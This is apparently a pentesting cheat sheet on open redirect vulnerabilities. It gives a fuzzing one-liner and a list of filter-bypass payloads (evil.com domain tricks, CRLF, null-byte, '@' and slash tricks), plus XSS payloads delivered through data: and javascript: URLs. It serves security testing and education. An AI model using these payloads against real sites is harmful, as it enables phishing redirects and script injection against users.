Open URL Redirection

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application's access control check and then forward the attacker to privileged functions that they would normally not be able to access.

Fuzzing

Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case

To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.

```
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
```

Exploitation

Using a whitelisted domain or keyword

```
www.whitelisted.com.evil.com redirect to evil.com
```

Using CRLF to bypass "javascript" blacklisted keyword

```
java%0d%0ascript%0d%0a:alert(0)
```

Using "//" to bypass "http" blacklisted keyword

```
//google.com
```

Using "https:" to bypass "//" blacklisted keyword

```
https:google.com
```

Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)

```
\/\/google.com/
/\/google.com/
```

Using "%E3%80%82" to bypass "." blacklisted character

```
//google%E3%80%82com
```

Using null byte "%00" to bypass blacklist filter

```
//google%00.com
```

Using "@" character, browser will redirect to anything after the "@"

```
http://www.theirsite.com@yoursite.com/
```

Creating folder as their domain

```
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
```

XSS from Open URL - If it's in a JS variable

```
";alert(0);//
```

XSS from data:// wrapper

```
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
```

XSS from javascript:// wrapper

```
http://www.example.com/redirect.php?url=javascript:prompt(1)
```

Thanks to

- filedescriptor
- OWASP - Unvalidated Redirects and Forwards Cheat Sheet (https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)
- Cujanovic - Open-Redirect-Payloads (https://github.com/cujanovic/Open-Redirect-Payloads)